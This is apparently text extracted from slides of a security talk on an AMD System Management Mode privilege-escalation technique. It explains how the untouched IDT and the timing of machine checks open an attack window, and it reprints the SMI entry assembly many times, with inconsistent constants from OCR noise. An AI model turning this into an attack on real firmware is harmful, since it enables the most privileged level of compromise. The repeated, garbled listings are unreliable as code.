  - CPU must reset processor context between modes
  - Not feasible to reset *entire* processor context
  - Architects carefully select which state to change
- Done correctly, event from less privileged mode should not impact more privileged mode

state sanitization

- SMM transition on AMD processors
- Sanitize relevant CPU registers →
- Suppress interrupts
  - NMI masked
  - INIT ignored
  - SMI masked
  - Maskable interrupts via IF in eflags
  - Debug interrupts/exception via DR7
  - Traps via TF in eflags

CS	0000
DS	0000
ES	0000
FS	0000
GS	0000
SS	0000
GPRs	Unmodified
EFLAGS	0000_0002
RIP	0000_0000_0000_8000
CR0	PE, EM, TS, PG cleared
CR4	0000_0000_0000_0000
GDTR	Unmodified
LDTR	Unmodified
IDTR	Unmodified
TR	Unmodified
DR6	Unmodified
DR7	0000_0000_0000_0400
EFER	All cleared except SVM

state sanitization

- SMM transition on AMD processors
- Sanitize relevant CPU registers →
- Suppress interrupts
  - NMI masked
  - INIT ignored
  - SMI masked
  - Maskable interrupts via IF in eflags
  - Debug interrupts/exception via DR7
  - Traps via TF in eflags

CS	0000
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CR4	0000_0000_0000_0000
GDTR	Unmodified
LDTR	Unmodified
IDTR	Unmodified
TR	Unmodified
DR6	Unmodified
DR7	0000_0000_0000_0400
EFER	All cleared except SVM

state sanitization

- IDTR points to the Interrupt Descriptor Table (IDT)
- IDTR **unmodified** on entry to SMM
- Any interrupt or exception that *does* occur in SMM will be delivered on an untrusted handler
- Basically: “ `try { main() } except { pop_shell() }` ”
- Many ways to approach this
  - If *anything* goes wrong, it leads to privilege escalation
- One option: induce machine check on the untrusted IDT

state sanitization

- Challenge: CR4 is *cleared* by microcode
  - MCE handling disabled (CPU resets on MCE)

state sanitization

CS	0000
DS	0000
ES	0000
FS	0000
GS	0000
SS	0000
GPRs	Unmodified
EFLAGS	0000_0002
RIP	0000_0000_0000_8000
CRO	PE, EM, TS, PG cleared
CR4	0000_0000_0000_0000
GDTR	Unmodified
LDTR	Unmodified
IDTR	Unmodified
TR	Unmodified
DR6	Unmodified
DR7	0000_0000_0000_0400
EFER	All cleared except SVM

```

BITS 16
ASM_PFX(gcSmiHandlerTemplate):
_SmiEntryPoint:
mov bx, _GdtDesc-_SmiEntryPoint+0x8000
mov ax,[cs:DSC_OFFSET+DSC_GDTSIZ]
dec ax
mov [cs:bx], ax
mov eax, [cs:DSC_OFFSET+DSC_GDTPTR]
mov [cs:bx+2], eax
o32 lgdt [cs:bx]
mov ax, PROTECT_MODE_CS
mov [cs:bx-0x2], ax
mov edi, strict dword 0
ASM_PFX(gPatchSmbase):
lea eax, [edi+(@ProtectedMode-
_SmiEntryPoint)+0x8000]
mov [cs:bx-0x6], eax
mov ebx, cr0
and ebx, 0x9ffaff3
or ebx, 0x23
mov cr0, ebx
jmp dword 0x0:0x0
_GdtDesc:
DW 0
DD 0

```

```

BITS 32
@ProtectedMode:
mov ax, PROTECT_MODE_DS
o16 mov ds, ax
o16 mov es, ax
o16 mov fs, ax
o16 mov gs, ax
o16 mov ss, ax
mov esp, strict dword 0
ASM_PFX(gPatchSmiStack):
jmp ProtFlatMode

```

```

BITS 64
ProtFlatMode:
mov eax, strict dword 0
ASM_PFX(gPatchSmiCr3):
mov cr3, rax
mov eax, 0x668

mov cl, strict byte 0
ASM_PFX(gPatch5LevelPagingNeeded):
cmp cl, 0
je SkipEnable5LevelPaging

bts eax, 12
SkipEnable5LevelPaging:

mov cr4, rax

sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89
mov [rax+TSS_SEGMENT+5], dl
mov eax, TSS_SEGMENT
ltr ax

```

```

mov al, strict byte 1
ASM_PFX(gPatchXdSupported):
cmp al, 0
jz @SkipXd

mov al, strict byte 1
ASM_PFX(gPatchMsrla32MiscEnable...):
cmp al, 1
jz Msrla32MiscEnableSupported

```

```

sub esp, 4
xor rdx, rdx
push rdx
jmp EnableNxe

```

```

Msrla32MiscEnableSupported:
mov ecx, MSR_IA32_MISC_ENABLE
rdmsr
sub esp, 4
push rdx
test edx, BIT2
jz EnableNxe
and dx, 0xFFFB
wrmsr
EnableNxe:
mov ecx, MSR_EFER
rdmsr
or ax, MSR_EFER_XD
wrmsr
jmp @XdDone
@SkipXd:
sub esp, 8
@XdDone:

```

```

push LONG_MODE_CS
call Base
Base:
add dword [rsp], @LongMode-Base

```

```

mov ecx, MSR_EFER
rdmsr
or ah, 1
wrmsr
mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf

```

```

@LongMode:
mov rax, strict qword 0
SmiHandlerIdtrAbsAddr:
lidt [rax]
lea ebx, [rdi+DSC_OFFSET]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OTHERSEG]
mov es, eax
mov fs, eax
mov gs, eax
mov ax, [rbx+DSC_SS]
mov ss, eax

```

```

mov rbx, [rsp+0x8]

```

```

...

```

```

mov rcx, rbx
mov rax, strict qword 0
SmiRendezvousAbsAddr:
call rax

```

```

...

```

```

rsm

```

```

BITS 16
ASM_PFX(gcSmiHandlerTemplate):
_SmiEntryPoint:
mov bx, _GdtDesc-_SmiEntryPoint+0x8000
mov ax,[cs:DSC_OFFSET+DSC_GDTSIZ]
dec ax
mov [cs:bx], ax
mov eax, [cs:DSC_OFFSET+DSC_GDTPTR]
mov [cs:bx+2], eax
o32 lgdt [cs:bx]
mov ax, PROTECT_MODE_CS
mov [cs:bx-0x2], ax
mov edi, strict dword 0
ASM_PFX(gPatchSmbase):
lea eax, [edi+(@ProtectedMode-
_SmiEntryPoint)+0x8000]
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mov ebx, cr0
and ebx, 0x9ffafff3
or ebx, 0x23
mov cr0, ebx
jmp dword 0x0:0x0
_GdtDesc:
DW 0
DD 0

```

```

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@ProtectedMode:
mov ax, PROTECT_MODE_DS
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o16 mov fs, ax
o16 mov gs, ax
o16 mov ss, ax
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ASM_PFX(gPatchSmiStack):
jmp ProtFlatMode

```

```

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mov cl, strict byte 0
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bts eax, 12
SkipEnable5LevelPaging:

mov cr4, rax

sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89
mov [rax+TSS_SEGMENT+5], dl
mov eax, TSS_SEGMENT
ltr ax

```

```

mov al, strict byte 1
ASM_PFX(gPatchXdSupported):
cmp al, 0
jz @SkipXd

mov al, strict byte 1
ASM_PFX(gPatchMsrla32MiscEnable...):
cmp al, 1
jz Msrla32MiscEnableSupported

```

```

sub esp, 4
xor rdx, rdx
push rdx
jmp EnableNxe

```

```

Msrla32MiscEnableSupported:
mov ecx, MSR_IA32_MISC_ENABLE
rdmsr
sub esp, 4
push rdx
test edx, BIT2
jz EnableNxe
and dx, 0xFFFB
wrmsr
EnableNxe:
mov ecx, MSR_EFER
rdmsr
or ax, MSR_EFER_XD
wrmsr
jmp @XdDone
@SkipXd:
sub esp, 8
@XdDone:

```

```

push LONG_MODE_CS
call Base
Base:
add dword [rsp], @LongMode-Base

```

```

mov ecx, MSR_EFER
rdmsr
or ah, 1
wrmsr
mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf

```

```

@LongMode:
mov rax, strict qword 0
SmiHandlerIdtrAbsAddr:
lidt [rax]
lea ebx, [rdi+DSC_OFFSET]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OTHERSEG]
mov es, eax
mov fs, eax
mov gs, eax
mov ax, [rbx+DSC_SS]
mov ss, eax

```

```

mov rbx, [rsp+0x8]

```

```

...

```

```

mov rcx, rbx
mov rax, strict qword 0
SmiRendezvousAbsAddr:
call rax

```

```

...

```

```

rsm

```

```

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ASM_PFX(gcSmiHandlerTemplate):
_SmiEntryPoint:
mov bx, _GdtDesc-_SmiEntryPoint+0x8000
mov ax,[cs:DSC_OFFSET+DSC_GDTSIZ]
dec ax
mov [cs:bx], ax
mov eax, [cs:DSC_OFFSET+DSC_GDTPTR]
mov [cs:bx+2], eax
o32 lgdt [cs:bx]
mov ax, PROTECT_MODE_CS
mov [cs:bx-0x2], ax
mov edi, strict dword 0
ASM_PFX(gPatchSmbase):
lea eax, [edi+(@ProtectedMode-
_SmiEntryPoint)+0x8000]
mov [cs:bx-0x6], eax
mov ebx, cr0
and ebx, 0x9ffafff3
or ebx, 0x23
mov cr0, ebx
jmp dword 0x0:0x0
_GdtDesc:
DW 0
DD 0

```

```

BITS 32
@ProtectedMode:
mov ax, PROTECT_MODE_DS
o16 mov ds, ax
o16 mov es, ax
o16 mov fs, ax
o16 mov gs, ax
o16 mov ss, ax
mov esp, strict dword 0
ASM_PFX(gPatchSmiStack):
jmp ProtFlatMode

```

```

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ProtFlatMode:
mov eax, strict dword 0
ASM_PFX(gPatchSmiCr3):
mov cr3, rax
mov eax, 0x668

mov cl, strict byte 0
ASM_PFX(gPatch5LevelPagingNeeded):
cmp cl, 0
je SkipEnable5LevelPaging

bts eax, 12
SkipEnable5LevelPaging:

mov cr4, rax

sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89
mov [rax+TSS_SEGMENT+5], dl
mov eax, TSS_SEGMENT
ltr ax

```

```

mov al, strict byte 1
ASM_PFX(gPatchXdSupported):
cmp al, 0
jz @SkipXd

mov al, strict byte 1
ASM_PFX(gPatchMsrIa32MiscEnable...):
cmp al, 1
jz MsrIa32MiscEnableSupported

```

```

sub esp, 4
xor rdx, rdx
push rdx
jmp EnableNxe

```

```

MsrIa32MiscEnableSupported:
mov ecx, MSR_IA32_MISC_ENABLE
rdmsr
sub esp, 4
push rdx
test edx, BIT2
jz EnableNxe
and dx, 0xFFFB
wrmsr
EnableNxe:
mov ecx, MSR_EFER
rdmsr
or ax, MSR_EFER_XD
wrmsr
jmp @XdDone
@SkipXd:
sub esp, 8
@XdDone:

```

```

push LONG_MODE_CS
call Base
Base:
add dword [rsp], @LongMode-Base

```

```

mov ecx, MSR_EFER
rdmsr
or ah, 1
wrmsr
mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf

```

```

@LongMode:
mov rax, strict qword 0
SmiHandlerIdtrAbsAddr:
lidt [rax]
lea ebx, [rdi+DSC_OFFSET]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OTHERSEG]
mov es, eax
mov fs, eax
mov gs, eax
mov ax, [rbx+DSC_SS]
mov ss, eax

```

```

mov rbx, [rsp+0x8]

```

```

...

```

```

mov rcx, rbx
mov rax, strict qword 0
SmiRendezvousAbsAddr:
call rax

```

```

...

```

```

rsm

```

```

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mov bx, _GdtDesc-_SmiEntryPoint+0x8000
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mov [cs:bx+2], eax
o32 lgdt [cs:bx]
mov ax, PROTECT_MODE_CS
mov [cs:bx-0x2], ax
mov edi, strict dword 0
ASM_PFX(gPatchSmbase):
lea eax, [edi+(@ProtectedMode-
_SmiEntryPoint)+0x8000]
mov [cs:bx-0x6], eax
mov ebx, cr0
and ebx, 0x9ffaff3
or ebx, 0x23
mov cr0, ebx
jmp dword 0x0:0x0
_GdtDesc:
DW 0
DD 0

```

```

BITS 32
@ProtectedMode:
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o16 mov ds, ax
o16 mov es, ax
o16 mov fs, ax
o16 mov gs, ax
o16 mov ss, ax
mov esp, strict dword 0
ASM_PFX(gPatchSmiStack):
jmp ProtFlatMode

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mov cr3, rax
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bts eax, 12
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mov cr4, rax

sub esp, 8
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mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89
mov [rax+TSS_SEGMENT+5], dl
mov eax, TSS_SEGMENT
ltr ax

```

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mov al, strict byte 1
ASM_PFX(gPatchXdSupported):
cmp al, 0
jz @SkipXd

mov al, strict byte 1
ASM_PFX(gPatchMsrla32MiscEnable...):
cmp al, 1
jz Msrla32MiscEnableSupported

```

```

sub esp, 4
xor rdx, rdx
push rdx
jmp EnableNxe

```

```

Msrla32MiscEnableSupported:
mov ecx, MSR_IA32_MISC_ENABLE
rdmsr
sub esp, 4
push rdx
test edx, BIT2
jz EnableNxe
and dx, 0xFFFB
wrmsr
EnableNxe:
mov ecx, MSR_EFER
rdmsr
or ax, MSR_EFER_XD
wrmsr
jmp @XdDone
@SkipXd:
sub esp, 8
@XdDone:

```

```

push LONG_MODE_CS
call Base
Base:
add dword [rsp], @LongMode-Base

```

```

mov ecx, MSR_EFER
rdmsr
or ah, 1
wrmsr
mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf

```

```

@LongMode:
mov rax, strict qword 0
SmiHandlerIdtrAbsAddr:
lidt [rax]
lea ebx, [rdi+DSC_OFFSET]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OTHERSEG]
mov es, eax
mov fs, eax
mov gs, eax
mov ax, [rbx+DSC_SS]
mov ss, eax

```

```

mov rbx, [rsp+0x8]

```

```

...

```

```

mov rcx, rbx
mov rax, strict qword 0
SmiRendezvousAbsAddr:
call rax

```

```

...

```

```

rsm

```

```

BITS 16
ASM_PFX(gcSmiHandlerTemplate):
_SmiEntryPoint:
mov bx, _GdtDesc-_SmiEntryPoint+0x8000
mov ax,[cs:DSC_OFFSET+DSC_GDTSIZ]
dec ax
mov [cs:bx], ax
mov eax, [cs:DSC_OFFSET+DSC_GDTPTR]
mov [cs:bx+2], eax
o32 lgdt [cs:bx]
mov ax, PROTECT_MODE_CS
mov [cs:bx-0x2], ax
mov edi, strict dword 0
ASM_PFX(gPatchSmbase):
lea eax, [edi+(@ProtectedMode-
_SmiEntryPoint)+0x8000]
mov [cs:bx-0x6], eax
mov ebx, cr0
and ebx, 0x9ffaff3
or ebx, 0x23
mov cr0, ebx
jmp dword 0x0:0x0
_GdtDesc:
DW 0
DD 0

```

```

BITS 32
@ProtectedMode:
mov ax, PROTECT_MODE_DS
o16 mov ds, ax
o16 mov es, ax
o16 mov fs, ax
o16 mov gs, ax
o16 mov ss, ax
mov esp, strict dword 0
ASM_PFX(gPatchSmiStack):
jmp ProtFlatMode

```

```

BITS 64
ProtFlatMode:
mov eax, strict dword 0
ASM_PFX(gPatchSmiCr3):
mov cr3, rax
mov eax, 0x668

mov cl, strict byte 0
ASM_PFX(gPatch5LevelPagingNeeded):
cmp cl, 0
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bts eax, 12
SkipEnable5LevelPaging:

mov cr4, rax

sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89
mov [rax+TSS_SEGMENT+5], dl
mov eax, TSS_SEGMENT
ltr ax

```

```

mov al, strict byte 1
ASM_PFX(gPatchXdSupported):
cmp al, 0
jz @SkipXd

mov al, strict byte 1
ASM_PFX(gPatchMsrla32MiscEnable...):
cmp al, 1
jz Msrla32MiscEnableSupported

```

```

sub esp, 4
xor rdx, rdx
push rdx
jmp EnableNxe

```

```

Msrla32MiscEnableSupported:
mov ecx, MSR_IA32_MISC_ENABLE
rdmsr
sub esp, 4
push rdx
test edx, BIT2
jz EnableNxe
and dx, 0xFFFB
wrmsr
EnableNxe:
mov ecx, MSR_EFER
rdmsr
or ax, MSR_EFER_XD
wrmsr
jmp @XdDone
@SkipXd:
sub esp, 8
@XdDone:

```

```

push LONG_MODE_CS
call Base
Base:
add dword [rsp], @LongMode-Base

```

```

mov ecx, MSR_EFER
rdmsr
or ah, 1
wrmsr
mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf

```

```

@LongMode:
mov rax, strict qword 0
SmiHandlerIdtrAbsAddr:
lidt [rax]
lea ebx, [rdi+DSC_OFFSET]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OTHERSEG]
mov es, eax
mov fs, eax
mov gs, eax
mov ax, [rbx+DSC_SS]
mov ss, eax

```

```

mov rbx, [rsp+0x8]

```

```

...

```

```

mov rcx, rbx
mov rax, strict qword 0
SmiRendezvousAbsAddr:
call rax

```

```

...

```

```

rsm

```

```

BITS 16
ASM_PFX(gcSmiHandlerTemplate):
_SmiEntryPoint:
mov bx, _GdtDesc-_SmiEntryPoint+0x8000
mov ax,[cs:DSC_OFFSET+DSC_GDTSIZ]
dec ax
mov [cs:bx], ax
mov eax, [cs:DSC_OFFSET+DSC_GDTPTR]
mov [cs:bx+2], eax
o32 lgdt [cs:bx]
mov ax, PROTECT_MODE_CS
mov [cs:bx-0x2], ax
mov edi, strict dword 0
ASM_PFX(gPatchSmbase):
lea eax, [edi+(@ProtectedMode-
_SmiEntryPoint)+0x8000]
mov [cs:bx-0x6], eax
mov ebx, cr0
and ebx, 0x9ffaff3
or ebx, 0x23
mov cr0, ebx
jmp dword 0x0:0x0
_GdtDesc:
DW 0
DD 0

```

```

BITS 32
@ProtectedMode:
mov ax, PROTECT_MODE_DS
o16 mov ds, ax
o16 mov es, ax
o16 mov fs, ax
o16 mov gs, ax
o16 mov ss, ax
mov esp, strict dword 0
ASM_PFX(gPatchSmiStack):
jmp ProtFlatMode

```

```

BITS 64
ProtFlatMode:
mov eax, strict dword 0
ASM_PFX(gPatchSmiCr3):
mov cr3, rax
mov eax, 0x668

mov cl, strict byte 0
ASM_PFX(gPatch5LevelPagingNeeded):
cmp cl, 0
je SkipEnable5LevelPaging

bts eax, 12
SkipEnable5LevelPaging:

mov cr4, rax

sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89
mov [rax+TSS_SEGMENT+5], dl
mov eax, TSS_SEGMENT
ltr ax

```

```

mov al, strict byte 1
ASM_PFX(gPatchXdSupported):
cmp al, 0
jz @SkipXd

mov al, strict byte 1
ASM_PFX(gPatchMsrla32MiscEnable...):
cmp al, 1
jz Msrla32MiscEnableSupported

```

```

sub esp, 4
xor rdx, rdx
push rdx
jmp EnableNxe

```

```

Msrla32MiscEnableSupported:
mov ecx, MSR_IA32_MISC_ENABLE
rdmsr
sub esp, 4
push rdx
test edx, BIT2
jz EnableNxe
and dx, 0xFFFB
wrmsr
EnableNxe:
mov ecx, MSR_EFER
rdmsr
or ax, MSR_EFER_XD
wrmsr
jmp @XdDone
@SkipXd:
sub esp, 8
@XdDone:

```

```

push LONG_MODE_CS
call Base
Base:
add dword [rsp], @LongMode-Base

```

```

mov ecx, MSR_EFER
rdmsr
or ah, 1
wrmsr
mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf

```

```

@LongMode:
mov rax, strict qword 0
SmiHandlerIdtrAbsAddr:
lidt [rax]
lea ebx, [rdi+DSC_OFFSET]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OTHERSEG]
mov es, eax
mov fs, eax
mov gs, eax
mov ax, [rbx+DSC_SS]
mov ss, eax

```

```

mov rbx, [rsp+0x8]

```

```

...

```

```

mov rcx, rbx
mov rax, strict qword 0
SmiRendezvousAbsAddr:
call rax

```

```

...

```

```

rsm

```



```

BITS 16
ASM_PFX(gcSmiHandlerTemplate):
_SmiEntryPoint:
mov bx, _GdtDesc-_SmiEntryPoint+0x8000
mov ax,[cs:DSC_OFFSET+DSC_GDTSIZ]
dec ax
mov [cs:bx], ax
mov eax, [cs:DSC_OFFSET+DSC_GDTPTR]
mov [cs:bx+2], eax
o32 lgdt [cs:bx]
mov ax, PROTECT_MODE_CS
mov [cs:bx-0x2], ax
mov edi, strict dword 0
ASM_PFX(gPatchSmbase):
lea eax, [edi+(@ProtectedMode-
_SmiEntryPoint)+0x8000]
mov [cs:bx-0x6], eax
mov ebx, cr0
and ebx, 0x9ffafff3
or ebx, 0x23
mov cr0, ebx
jmp dword 0x0:0x0
_GdtDesc:
DW 0
DD 0

```

```

BITS 32
@ProtectedMode:
mov ax, PROTECT_MODE_DS
o16 mov ds, ax
o16 mov es, ax
o16 mov fs, ax
o16 mov gs, ax
o16 mov ss, ax
mov esp, strict dword 0
ASM_PFX(gPatchSmiStack):
jmp ProtFlatMode

```

```

BITS 64
ProtFlatMode:
mov eax, strict dword 0
ASM_PFX(gPatchSmiCr3):
mov cr3, rax
mov eax, 0x668

mov cl, strict byte 0
ASM_PFX(gPatch5LevelPagingNeeded):
cmp cl, 0
je SkipEnable5LevelPaging

bts eax, 12
SkipEnable5LevelPaging:

mov cr4, rax

sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89
mov [rax+TSS_SEGMENT+5], dl
mov eax, TSS_SEGMENT
ltr ax

```

```

mov al, strict byte 1
ASM_PFX(gPatchXdSupported):
cmp al, 0
jz @SkipXd

mov al, strict byte 1
ASM_PFX(gPatchMsrla32MiscEnable...):
cmp al, 1
jz Msrla32MiscEnableSupported

```

```

sub esp, 4
xor rdx, rdx
push rdx
jmp EnableNxe

```

```

Msrla32MiscEnableSupported:
mov ecx, MSR_IA32_MISC_ENABLE
rdmsr
sub esp, 4
push rdx
test edx, BIT2
jz EnableNxe
and dx, 0xFFFB
wrmsr
EnableNxe:
mov ecx, MSR_EFER
rdmsr
or ax, MSR_EFER_XD
wrmsr
jmp @XdDone
@SkipXd:
sub esp, 8
@XdDone:

```

```

push LONG_MODE_CS
call Base
Base:
add dword [rsp], @LongMode-Base

```

```

mov ecx, MSR_EFER
rdmsr
or ah, 1
wrmsr
mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf

```

```

@LongMode:
mov rax, strict qword 0
SmiHandlerIdtrAbsAddr:
lidt [rax]
lea ebx, [rdi+DSC_OFFSET]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OTHERSEG]
mov es, eax
mov fs, eax
mov gs, eax
mov ax, [rbx+DSC_SS]
mov ss, eax

```

```

mov rbx, [rsp+0x8]

```

```

...

```

```

mov rcx, rbx
mov rax, strict qword 0
SmiRendezvousAbsAddr:
call rax

```

```

...

```

```

rsm


```





- With IDT left **unsanititized**, exceptions and interrupts are delivered on **attacker**'s interrupt handler
- Attack window for interrupts/exceptions:
  - After transition to SMM, before **"lidt"**
- Attack window for MCEs
  - Between **"mov CR4"** and **"lidt"**

the attack windows




• MCE attack:

- Create MCE from attacking thread, target victim thread
- Receive MCE on victim thread in SMM attack window
- Victim thread must be in SMM
- While attacking thread is outside SMM

the attack windows

- SMM design has all threads enter/exit SMM simultaneously
  - Thread triggers SMI through some hardware event
  - SMI signal sent to all threads on platform
  - Each thread finishes its current instruction, then enters SMM
  - In SMM, each thread waits for all others to enter rendezvous point
  - Thread “quiescing” ensures all threads executing within SMM at same time
- Prevents non-SMM thread from attacking SMM thread
- Common pattern in privileged execution modes


thread quiescing



•◦ Challenge:

- Victim thread must be in SMM
- While attacking thread is outside SMM
- Need one thread in SMM,  
and one thread outside SMM,  
*at the same time*

the attack windows



CPU


```
testl %eax, %eax
je 0x100002421
movq %r13, -64(%rbp)
movq %r14, -56(%rbp)
movq %r12, -48(%rbp)
movl 56(%r12), %r13d
testl %r13d, %r13d
jle 0x1000023c9
movq -48(%rbp), %rax
```

```
mov %rsp, %rbp
mov %edi, -0x4(%rbp)
mov %esi, %eax
mov %ax, -0x8(%rbp)
mov -0x4(%rbp), %eax
movzwl -0x8(%rbp), %edx
out %eax, [%dx]
nop
pop %rbp
```

```
movq %rcx, %rax
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
```

```
addq $16, %rax
cmpq $1880, %rax
jne 0x100032976
leaq 2000785(%rip), %rax
jmp 0x100032998
movq -8(%rax, %rsi), %rax
movq %rax, -64(%rbp)
leaq 2344893(%rip), %rax
movq [%rax, %r12, 8], %r15
```

Assembly code snippets (blurred) representing instructions like `mov`, `addq`, `popq`, `leaq`, `jmp`, `movq`, `cmpq`, `jne`, `leaq`, `movq`, `movq`, `leaq`, `movq`.



RAM

SMRAM

MMIO

RAM

CPU

```
testl %eax, %eax
je 0x100002421
movq %r13, -64(%rbp)
movq %r14, -56(%rbp)
movq %r12, -48(%rbp)
movl 56(%r12), %r13d
testl %r13d, %r13d
jle 0x1000023c9
movq -48(%rbp), %rax
```

```
mov %rsp, %rbp
mov %edi, -0x4(%rbp)
mov %esi, %eax
mov %ax, -0x8(%rbp)
mov -0x4(%rbp), %eax
movzwl -0x8(%rbp), %edx
out %eax, [%dx]
nop
pop %rbp
```

```
movq %rcx, %rax
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
```


```
addq $16, %rax
cmpq $1880, %rax
jne 0x100032976
leaq 2000785(%rip), %rax
jmp 0x100032998
movq -8(%rax,%rsi), %rax
movq %rax, -64(%rbp)
leaq 2344893(%rip), %rax
movq [%rax,%r12,8], %r15
```

RAM

SMRAM

MMIO

RAM




```
testl %eax, %eax
je 0x100002421
movq %r13, -64(%rbp)
movq %r14, -56(%rbp)
movq %r12, -48(%rbp)
movl 56(%r12), %r13d
testl %r13d, %r13d
jle 0x1000023c9
movq -48(%rbp), %rax
```


```
mov %rsp, %rbp
mov %edi, -0x4(%rbp)
mov %esi, %eax
mov %ax, -0x8(%rbp)
mov -0x4(%rbp), %eax
movzwl -0x8(%rbp), %edx
out %eax, [%dx]
nop
pop %rbp
```

```
movq %rcx, %rax
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
```

```
addq $16, %rax
cmpq $1880, %rax
jne 0x100032976
leaq 2000785(%rip), %rax
jmp 0x100032998
movq -8(%rax,%rsi), %rax
movq %rax, -64(%rbp)
leaq 2344893(%rip), %rax
movq [%rax,%r12,8], %r15
```

Assembly code listing (blurred) showing instructions such as `movq %rcx, %rax`, `addq $8, %rsp`, `popq %rbx`, `popq %r12`, `popq %r13`, `popq %r14`, `popq %r15`, `popq %rbp`, `retq`, `addq $16, %rax`, `cmpq $1880, %rax`, `jne 0x100032976`, `leaq 2000785(%rip), %rax`, `jmp 0x100032998`, `movq -8(%rax,%rsi), %rax`, `movq %rax, -64(%rbp)`, `leaq 2344893(%rip), %rax`, and `movq [%rax,%r12,8], %r15`.





CPU

```
testl %eax,%eax
je 0x100002421
movq %r13,-64(%rbp)
movq %r14,-56(%rbp)
movq %r12,-48(%rbp)
movl 56(%r12),%r13d
testl %r13d,%r13d
jle 0x1000023c9
movq -48(%rbp),%rax
```

```
mov %rsp,%rbp
mov %edi,-0x4(%rbp)
mov %esi,%eax
mov %ax,-0x8(%rbp)
mov -0x4(%rbp),%eax
movzwl -0x8(%rbp),%edx
out %eax,(%dx)
nop
pop %rbp
```

```
movq %rcx,%rax
addq $8,%rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
```

```
addq $16,%rax
cmpq $1880,%rax
jne 0x100032976
leaq 2000785(%rip),%rax
jmp 0x100032998
movq -8(%rax,%rsi),%rax
movq %rax,-64(%rbp)
leaq 2344893(%rip),%rax
movq [%rax,%r12,8],%r15
```



RAM


SMRAM

MMIO



RAM












```
testl %eax,%eax
je 0x100002421
movq %r13,-64(%rbp)
movq %r14,-56(%rbp)
movq %r12,-48(%rbp)
movl 56(%r12),%r13d
testl %r13d,%r13d
jle 0x1000023c9
movq -48(%rbp),%rax
```

```
mov %rsp,%rbp
mov %edi,-0x4(%rbp)
mov %esi,%eax
mov %ax,-0x8(%rbp)
mov -0x4(%rbp),%eax
movzwl -0x8(%rbp),%edx
out %eax,%dx
nop
pop %rbp
```

```
movq %rcx,%rax
addq $8,%rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
```

```
addq $16,%rax
cmpq $1880,%rax
jne 0x100032976
leaq 2000785(%rip),%rax
jmp 0x100032998
movq -8(%rax,%rsi),%rax
movq %rax,-64(%rbp)
leaq 2344893(%rip),%rax
movq [%rax,%r12,8],%r15
```




RAM


SMRAM


MMIO

RAM









```
testl %eax,%eax
je 0x100002421
movq %r13,-64(%rbp)
movq %r14,-56(%rbp)
movq %r12,-48(%rbp)
movl 56(%r12),%r13d
testl %r13d,%r13d
jle 0x1000023c9
movq -48(%rbp),%rax
```

```
mov %rsp,%rbp
mov %edi,-0x4(%rbp)
mov %esi,%eax
mov %ax,-0x8(%rbp)
mov -0x4(%rbp),%eax
movzwl -0x8(%rbp),%edx
out %eax,(%dx)
nop
pop %rbp
```

```
movq %rcx,%rax
addq $8,%rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
```

```
addq $16,%rax
cmpq $1880,%rax
jne 0x100032976
leaq 2000785(%rip),%rax
jmp 0x100032998
movq -8(%rax,%rsi),%rax
movq %rax,-64(%rbp)
leaq 2344893(%rip),%rax
movq [%rax,%r12,8],%r15
```

```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x7a14
mov ax,0x18
mov ss,ax
mov eax,0x9ffe2ff8
mov esp,eax
```

```
...
mov eax,0x3
mov cr0,eax
jmp short 0x7c14
mov ax,0x18
mov ss,ax
mov eax,0x9ffe4ff8
mov esp,eax
```

```
...
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x7e14
mov ax,0x18
mov ss,ax
mov eax,0x9ffe6ff8
mov esp,eax
```

```
...
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x8014
mov ax,0x18
mov ss,ax
mov eax,0x9ffe8ff8
mov esp,eax
```

RAM

SMRAM

MMIO

RAM



- Challenge:


- Victim thread must be in SMM
- While attacking thread is outside SMM
- Need one thread in SMM,  
and one thread outside SMM,  
*at the same time*


- Observation:


- Threads do not *technically* enter SMM at the same time
- Each thread gets to finish its current instruction
- Attacking thread has *one instruction* with which to complete the attack

thread quiescing

• What if...





- 
- Does a ??? instruction exist?
    - Must generate MCE after 10,000+ cycles
    - Must be precise enough for 100 cycle attack window



Let's build a hammer...

Let's add a handle...

Let's be a bit more careful...

Let's find a nail...

Let's light a fuse...

- Some instruction cycle timings (target: 10,000)
  - incq %rax ... 1 cycle
  - divq %rdx ... 14
  - fsin ... 50
  - fyl2xp1 ... 135
- No where near what is needed.


building a fuse

